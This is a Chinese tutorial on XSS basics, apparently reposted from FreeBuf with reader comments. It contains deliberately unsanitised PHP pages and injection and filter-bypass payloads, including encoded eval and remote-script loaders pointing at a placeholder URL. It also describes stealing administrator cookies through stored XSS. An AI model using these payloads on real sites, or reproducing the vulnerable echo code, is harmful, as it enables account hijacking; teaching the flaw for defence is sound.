CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 百科
  3. 正文

xss

2017年5月22日 870点热度 0人点赞 0条评论
  • 首页
  • 分类阅读
  • 文库
  • 专栏
  • 公开课
  • 商城
  • 漏洞盒子
注册 | 登录
投稿

XSS的原理分析与解剖

Black-Hole2014-08-12+15共1901261人围观 ,发现 109 个不明物体WEB安全

0×01 前言:

《xss攻击手法》一开始在互联网上资料并不多(都是现成的代码,没有从基础的开始),直到刺的《白帽子讲WEB安全》和cn4rry的《XSS跨站脚本攻击剖析与防御》才开始好转。

我这里就不说什么xss的历史什么东西了,xss是一门又热门又不太受重视的Web攻击手法,为什么会这样呢,原因有下:

1、耗时间
2、有一定几率不成功
3、没有相应的软件来完成自动化攻击
4、前期需要基本的html、js功底,后期需要扎实的html、js、actionscript2/3.0等语言的功底
5、是一种被动的攻击手法
6、对website有http-only、crossdomian.xml没有用

但是这些并没有影响黑客对此漏洞的偏爱,原因不需要多,只需要一个

Xss几乎每个网站都存在,google、baidu、360等都存在。

0×02 原理:

首先我们现在本地搭建个PHP环境(可以使用phpstudy安装包安装),然后在index.php文件里写入如下代码:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>XSS原理重现</title>
</head>
<body>
<form action="" method="get">
<input type="text" name="xss_input">
<input type="submit">
</form>
<hr>
<?php
$xss = $_GET['xss_input'];
echo '你输入的字符为<br>'.$xss;
?>
</body>
</html>

然后,你会在页面看到这样的页面

我们试着输入abcd123,得到的结果为

我们在看看源代码

我们输入的字符串被原封不动的输出来了,那这里我们提出来一个假设,假设我们在搜索框输入<script>alert('xss')</script>会出现什么呢?如果按照上面的例子来说,它应该存在第12行的<br>与</boby>之间,变成<br><script>alert('xss')</script></boby>,那应该会弹出对话框。

既然假设提出来,那我们来实现下这个假设成不成立吧。

我们输入<script>alert('xss')</script>,得到的页面为

成功弹窗,这个时候基本上就可以确定存在xss漏洞。

我们在看看源代码

看来,我们的假设成功了,这节就说说XSS的原理,下面几节说说xss的构造和利用

0×03 xss利用输出的环境来构造代码 :

上节说了xss的原理,但是我们的输出点不一在<br>和</boby>里,可以出现在html标签的属性里,或者其他标签里面。所以这节很重要,因为不一定 当你输入

<script>alert('xss')</script>就会弹窗。

先贴出代码:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>XSS利用输出的环境来构造代码</title>
</head>
<body>
<center>
<h6>把我们输入的字符串 输出到input里的value属性里</h6>
<form action="" method="get">
<h6>请输入你想显现的字符串</h6>
<input type="text" name="xss_input_value" value="输入"><br>
<input type="submit">
</form>
<hr>
<?php
$xss = $_GET['xss_input_value'];
if(isset($xss)){
echo '<input type="text" value="'.$xss.'">';
}else{
echo '<input type="type" value="输出">';
}
?>
</center>
</body>
</html>

下面是代码的页面

这段代码的作用是把第一个输入框的字符串,输出到第二个输入框,我们输入1,那么第二个input里的value值就是1,下面是页面的截图和源代码的截图(这里我输入<script>alert('xss')</script>来测试)

明显的可以看到,并没有弹出对话框,大家可能会疑惑为什么没有弹窗呢,我们来看看源代码

我们看到我们输入的字符串被输出到第15行input标签里的value属性里面,被当成value里的值来显现出来,所以并没有弹窗,这时候我们该怎么办呢?聪明的人已经发现了可以在<script>alert(&#039;xss&#039;)</script>前面加个">来闭合input标签。所以应该得到的结果为

成功弹窗了,我们在看看这时的页面

看到后面有第二个input输入框后面跟有">字符串,为什么会这样呢,我们来看看源代码

这时可以看到我们构造的代码里面有两个">,第一个">是为了闭合input标签,所以第二个">就被抛弃了,因为html的容错性高,所以并没有像php那样出现错误,而是直接把多余的字符串来输出了,有的人是个完美主义者,不喜欢有多余的字符串被输出,这时该怎么办呢?

这里我问大家一个问题,我之前说的xss代码里,为什么全是带有标签的。难道就不能不带标签么?!答:当然可以。既然可以不用标签,那我们就用标签里的属性来构造XSS,这样的话,xss代码又少,又不会有多余的字符串被输出来。

还是这个环境,但是不能使用标签,你应该怎么做。想想input里有什么属性可以调用js,html学的好的人,应该知道了,on事件,对的。我们可以用on事件来进行弹窗,比如这个xss代码 我们可以写成" onclick="alert(&#039;xss&#039;)

这时,我们在来试试,页面会发生什么样的变化吧。

没有看到弹窗啊,失败了么?答案当然是错误的,因为onclick是鼠标点击事件,也就是说当你的鼠标点击第二个input输入框的时候,就会触发onclick事件,然后执行alert(&#039;xss&#039;)代码。我们来试试看

当我点击后,就出现了弹窗,这时我们来看看源代码把

第15行,value值为空,当鼠标点击时,就会弹出对话框。这里可能就会有人问了,如果要点击才会触发,那不是很麻烦么,成功率不就又下降了么。我来帮你解答这个问题,on事件不止onclick这一个,还有很多,如果你想不需要用户完成什么动作就可以触发的话,i可以把onclick改成

Onmousemove 当鼠标移动就触发

Onload 当页面加载完成后触发

还有很多,我这里就不一一说明了,有兴趣的朋友可以自行查询下。

别以为就这样结束了,还有一类环境不能用上述的方法,

那就是如果在<textarea>标签里呢?!或者其他优先级比script高的呢?

就下面这样

这时我们该怎么办呢?既然前面都说了闭合属性和闭合标签了,那能不能闭合完整的标签呢,答案是肯定的。我们可以输入</textarea><script>alert('xss')</script>就可以实现弹窗了

0×04 过滤的解决办法

假如说网站禁止过滤了script 这时该怎么办呢,记住一句话,这是我总结出来的“xss就是在页面执行你想要的js”不用管那么多,只要能运行我们的js就OK,比如用img标签或者a标签。我们可以这样写

<img scr=1 onerror=alert('xss')>当找不到图片名为1的文件时,执行alert('xss')
<a href=javascrip:alert('xss')>s</a> 点击s时运行alert('xss')
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>利用iframe的scr来弹窗
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>过滤了alert来执行弹窗

等等有很多的方法,不要把思想总局限于一种上面,记住一句话“xss就是在页面执行你想要的js”其他的管他去。(当然有的时候还有管他…)

0×05 xss的利用

说了那么多,大家可能都以为xss就是弹窗,其实错了,弹窗只是测试xss的存在性和使用性。

这时我们要插入js代码了,怎么插呢?

你可以这样

<script scr="js_url"></script>

也可以这样

<img src=x onerror=appendChild(createElement('script')).src='js_url' />

各种姿势,各种插,只要鞥运行我们的js就OK。那运行我们的js有什么用呢?

Js可以干很多的事,可以获取cookies(对http-only没用)、控制用户的动作(发帖、私信什么的)等等。

比如我们在网站的留言区输入<script scr="js_url"></script>当管理员进后台浏览留言的时候,就会触发,然后管理员的cookies和后台地址还有管理员浏览器版本等等你都可以获取到了,再用“桂林老兵cookie欺骗工具”来更改你的cookies,就可以不用输入账号 密码 验证码 就可以以管理员的方式来进行登录了。

至于不会js的怎么写js代码呢,放心网上有很多xss平台,百度一下就可以看到了。页面是傻瓜式的操作,这里就不再过多的说明了。

有兴趣的朋友,下面是cn4rry给我的几个xss平台,大家可以自己钻研与研究,也可以自己搭建

http://pan.baidu.com/s/1jG418Aq(8.13日更新)

在发布此文章的时候,我特地和cn4rry谈了一下,得到的结果是,我会继续写这个系列的。当我把这个doc发给cn4rry的时候,他就直接来句“嗯 写的比较基础”,我本来的打算是写一个xss入门的就可以了,我只是感觉 现在网上的文章从简单开始介绍xss的比较少,都是在书里有

所以 我想在网上把他讲的细点 xss入门就可以了,后面的路 就可以自己摸索了

但是和他谈过后,感觉还是要继续写下去,因为“xss盲打”“xss编码绕过”“fuzzing xss”等等,如果是自己慢慢琢磨的话,需要较长的时间,所以我打算每过一段时间就会推出下一个xss的文章,写个系列出来。

Black-Hole

Black-Hole19 篇文章等级: 6级
|
|
  • 上一篇:揭秘渗透测试利器:Webshell批量管理工具QuasiBot
  • 下一篇:比特儿(Bter.com) 比特币交易平台被盗事件全解析

这些评论亮了

  • MeirLin(5级)研表究明,汉字的序顺并不定一能影阅响读,比如当你看完这句话后...回复
    期待下一篇xss文章,更期待系列
    )41(亮了
  • TestFUck回复
    <a href=javascrip:alert('xss')>s</a> 点击s时运行alert('xss') 少了个t。
    )20(亮了
  • Black-Hole(6级)FreeBuf专栏作者回复
    抱歉,明天会补上新的链接。
    )10(亮了
发表评论

已有 109 条评论

  • MeirLin (5级)研表究明,汉字的序顺并不定一能影阅响读,比如当你看完这句话后... 2014-08-12回复1楼

    期待下一篇xss文章,更期待系列

    亮了(41)
  • 文雨 2014-08-12回复2楼

    百度网盘文件已经不见了~~

    亮了(5)
    • Black-Hole (6级)FreeBuf专栏作者 2014-08-12回复

      抱歉,明天会补上新的链接。

      亮了(10)
      • zwqsir (1级) 2015-10-02回复

        @ Black-Hole  您好,链接失效了

        亮了(5)
  • WeirdBird007 (3级)干过开发,日过渗透,某乙方渗透>_< '... 2014-08-12回复3楼

    赞一个。

    亮了(4)
  • WeirdBird007 (3级)干过开发,日过渗透,某乙方渗透>_< '... 2014-08-12回复4楼

    百度盘 连接 挂了

    亮了(3)
  • lalala 2014-08-12回复5楼

    期待下一篇文章!

    亮了(4)
  • litdg (6级)FB作者 2014-08-12回复6楼

    期待下一篇

    亮了(2)
  • freebuffzck (4级) 2014-08-12回复7楼

    链接不存在

    亮了(3)
    • Black-Hole (6级)FreeBuf专栏作者 2014-08-12回复

      抱歉,明天会补上新的链接。

      亮了(4)
  • 嘎巴嘎巴 (6级)信息安全在读 2014-08-12回复8楼

    期待下一篇

    亮了(3)
  • f0-1 (1级) 2014-08-12回复9楼

    百度网盘文件已经不见了~~ :arrow:

    亮了(4)
    • Black-Hole (6级)FreeBuf专栏作者 2014-08-12回复

      抱歉,明天会补上新的链接。

      亮了(4)
  • 阿尔法之梦 (3级) 2014-08-12回复10楼

    谢谢果断支持啊~~期待

    亮了(3)
  • 小盆友 (1级) 2014-08-12回复11楼

    不错 实用 期待这个系列 ;链接挂了 补一个吧

    亮了(2)
  • milk (1级) 2014-08-12回复12楼

    好文!支持

    亮了(3)
  • 荷包蛋 crazy-egg. (1级) 2014-08-12回复13楼

    终于遇上这篇文章了

    亮了(4)
  • TestFUck 2014-08-12回复14楼

    <a href=javascrip:alert(‘xss’)>s</a> 点击s时运行alert(‘xss’) 少了个t。

    亮了(20)
  • whale 2014-08-12回复15楼

    百度网盘链接被吞了

    亮了(2)
    • Black-Hole (6级)FreeBuf专栏作者 2014-08-12回复

      抱歉,明天会补上新的链接。

      亮了(2)
  • weiy (1级) 2014-08-12回复16楼

    最喜欢xss了,学到不少,期待更新。

    亮了(3)
    • koftt 2016-01-08回复

      @ weiy  怎么找xss还是没看很明白?

      亮了(0)
  • 氪星人 2014-08-12回复17楼

    我能说在0×02 原理里输入<script>alert(‘xss’)</script>,没有弹xss 何解?(ps:chrome版本36.0.1985.125 m),IE10正常!

    亮了(5)
    • Black-Hole (6级)FreeBuf专栏作者 2014-08-12回复

      chrome内核与ie内核不一样,chrome的过滤机制比ie强。现在测试xss一般都拿能过chrome的为主

      亮了(2)
    • Woojune (1级)小菜一枚!^_-!大牛带我飞。。。。。 2014-08-13回复

      @氪星人 会不会是因为测试的环境自动过滤了呀,比如像“’”。在0×02原理里输入<script>alert(‘xss’)</script>点提交后,查看下源,看会不会变成“\’”。【小菜刚接触,一点拙见 ^_-】

      亮了(2)
  • 一马平川 (1级) 2014-08-12回复18楼

    讲的简单易懂,,,

    亮了(2)
    • Black-Hole (1级) 2014-08-12回复

      @一马平川  我就是按照简单易懂来说的,网上的说的太复杂了

      亮了(2)
  • Black-Hole (1级) 2014-08-12回复19楼

    http://pan.baidu.com/s/1jG418Aq
    xsstools代码下载

    亮了(2)
    • geek_fly (1级) 2014-08-12回复

      @Black-Hole  使用attackapi的时候,会报错:
      "NetworkError: 404 Not Found – http://127.0.0.1/AttackApi-2.5.0a/build/build/AttackAPI-standalone.js"
      文件夹中没有AttackAPI-standalone.js这个文件。

      亮了(2)
    • majia1317 (1级) 2017-03-03回复

      @ Black-Hole  百度网盘挂了,能再共享吗?谢谢

      亮了(0)
  • roker 2014-08-12回复20楼

    good

    亮了(2)
  • QQB614DDFA4A2111037C56FFC49C9D264C (1级) 2014-08-12回复21楼

    :!: 膜拜大牛。

    亮了(2)
  • Helen他表哥 (2级) 2014-08-12回复22楼

    你居然没发到CNIT去

    亮了(3)
  • 藤真 2014-08-12回复23楼

    这个是基础了点,期待更强的好文

    亮了(2)
    • Black-Hole (6级)FreeBuf专栏作者 2014-08-12回复

      会的,敬请期待

      亮了(2)
  • gravel (1级) 2014-08-12回复24楼

    :mrgreen: 学习了,浅显易懂

    亮了(2)
  • Misty 2014-08-12回复25楼

    期待后续。

    亮了(2)
  • anlfi (5级) 2014-08-13回复26楼

    用户端的 应用层前端xss防火墙
    和CSP
    的大面积推广
    我已经不知道再说什么好了

    亮了(4)
  • onkrad (1级) 2014-08-13回复27楼

    学习了,32个赞,期待“xss编码绕过”

    亮了(5)
  • 2594917442 (1级) 2014-08-13回复28楼

    盼百度。。。。网盘。。。。

    亮了(3)
    • Black-Hole (6级)FreeBuf专栏作者 2014-08-13回复

      http://pan.baidu.com/s/1jG418Aq
      xsstools代码下载

      亮了(5)
      • FB客服 (7级)FreeBuf官方客服 2014-08-13回复

        @Black-Hole  已经帮您更新原文中的链接了噢

        亮了(4)
  • learner (1级) 2014-08-13回复29楼

    求xss平台的网盘链接

    亮了(2)
  • tinyletero (1级) 2014-08-13回复30楼

    好文,学习了!

    亮了(2)
  • freebuffzck (4级) 2014-08-13回复31楼

    话说怎么用那个源码搭建xss平台?

    亮了(2)
  • 青年 (1级) 2014-08-13回复32楼

    我是青年。 :mrgreen:

    亮了(3)
  • 4tt0tbf (1级) 2014-08-13回复33楼

    支持!

    亮了(2)
  • jazeltq 2014-08-14回复34楼

    向少年学习。。。

    亮了(2)
  • iamyuanlong (1级) 2014-08-15回复35楼

    :mrgreen: 支持

    亮了(2)
  • 残雪 2014-08-15回复36楼

    都比啊

    亮了(2)
  • yangmafu (1级) 2014-08-16回复37楼

    期待下一篇

    亮了(2)
  • 午夜灰狼哥 (4级) 2014-08-18回复38楼

    赞一个

    亮了(2)
  • cumt053456 (1级) 2014-08-19回复39楼

    期待下一篇

    亮了(2)
  • 猫友 (3级)上海云梦信息科技有限公司创始人 2014-08-20回复40楼

    来给你支持下:) 猫友低调路过..

    亮了(1)
    • Black-Hole (1级) 2014-08-22回复

      @猫友  好久没见了,不会吧我拉黑了把

      亮了(2)
  • china东东2014 (1级) 2014-08-22回复41楼

    谢谢大神,看了我觉得我明白了,value闭合,以前就知道闭合,到具体不知怎么闭合,今天学到一个,谢谢。 :grin:

    亮了(1)
  • zhangzjx (1级) 2014-08-23回复42楼

    马克

    亮了(1)
  • playmszy (1级) 2014-08-30回复43楼

    文章深入浅出,写的很好,谢谢作者

    亮了(2)
  • 猫流 (1级) 2014-09-07回复44楼

    这个基础,太好了,对于初学者帮助超级大

    亮了(1)
  • 猫流 (1级) 2014-09-07回复45楼

    快出下一篇文章吧,我快等不及了

    亮了(1)
  • redcar 2014-09-09回复46楼

    虽然写的确实非常基础,但是很清晰,读起来不累。加油,期待后续。

    亮了(2)
  • 星期二 (3级)//bang~bang~bang~ 2014-09-09回复47楼

    :eek: 我竟然看懂了…感谢

    亮了(1)
  • Black-Hole (6级)FreeBuf专栏作者 2014-09-09回复48楼

    @星期二 @猫流 @playmszy @cumt053456 @redcar @yangmafu @weiy @嘎巴嘎巴 @litdg @Meirlin 第二章已经写好放出。http://www.freebuf.com/articles/web/42727.html 敬请期待下一篇xss技巧。下一章可是满满的干货。有什么不足之处可以指出来

    亮了(5)
  • Social (3级) 2014-09-11回复49楼

    赞!

    亮了(1)
  • 天平之光 2014-09-16回复50楼

    //: XSS 的原理分析与解剖//: //: 对XSS(跨站脚本漏洞)感兴趣的童鞋看过来

    亮了(1)
1 2 下一页

必须您当前尚未登录。登陆?注册

必须(保密)

表情插图

取消

Black-Hole

Black-Hole

FreeBuf专栏作者

19 篇文章149 条评论

相关阅读

  • XSS解决方案系列之二:知其所以然—浏览器是如是解码的
  • XSS探究:不安全的EZDATA脚本
  • Paypal的一个Dom型XSS漏洞分析
  • 一个“神奇”的工具:把 JavaScript 代码转为 ()[]{}!+ 字符
  • XSS的原理分析与解剖

特别推荐

关注我们 分享每日精选文章

不容错过

  • 虽然SHA-1遭遇碰撞攻击,但“天还没塌”Sphinx2017-02-27
  • Pwn2Own战报:腾讯、360各显神通,分别秒杀IE、Flash、PDF项目hujias2015-03-19
  • 4月9日FreeTalk·北京站全程揭秘FB独家2016-04-11
  • 【已结束】2016阿里安全峰会视频&图文直播(LIVE)FB独家2016-07-14

FREEBUF

  • 免责声明
  • 关于我们
  • 加入我们

广告及服务

  • 寻求报道
  • 广告合作
  • 联系我们
  • 友情链接

关注我们

  • 官方微信
  • 新浪微博
  • 腾讯微博
  • Twitter

赞助商

Copyright © 2013 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号

css.php

正在加载中...

0day

标签: 暂无
最后更新:2017年5月22日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me